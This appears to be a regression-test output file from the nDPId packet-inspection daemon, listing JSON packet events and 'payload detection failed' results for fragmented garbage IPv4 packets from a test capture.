+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347020,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347028,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347036,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347043,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347051,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347062,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347072,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347080,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347087,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347094,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347104,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347111,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347118,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347125,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347133,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347143,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347150,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347158,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347165,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347172,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347211,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347223,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347231,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347238,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347246,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347253,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347264,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347276,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347289,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347299,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347307,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347314,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347321,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347332,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347342,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347350,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347359,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347368,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347376,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347385,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347392,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347417,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 